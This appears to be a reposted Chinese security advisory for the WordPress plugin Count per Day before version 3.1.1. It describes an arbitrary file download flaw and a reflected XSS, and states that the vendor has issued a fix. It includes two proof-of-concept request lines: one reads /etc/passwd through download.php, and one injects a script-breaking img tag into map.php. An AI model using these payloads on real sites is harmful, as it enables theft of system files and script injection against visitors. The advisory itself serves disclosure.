Arbitrary file download and XSS
影响版本: < 3.1.1
作者6Scan (http://6scan.com) security team www.2cto.com
下载地址: http://wordpress.org/extend/plugins/count-per-day/
官方修复: This advisory is released after the vendor has responded and fixed the issue.
概述:
用户可以远程调用一个脚本下载任意文件
另外一个问题是非持久xss
文件下载测试：
www.badguest.cn /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd
XSS测试
www.badguest.cn /wp-content/plugins/count-per-day/map/map.php?map='")); </script><img src=http://www.badguest.cn/uploadfile/2012/0113/20120113125942128.jpg>'
渝公网安备 50024202000196号
域名注册知识
虚拟主机知识
网站建设知识
网络推广知识
网络营销知识
常见技术问题
QQ空间
新浪微博
开心网
人人网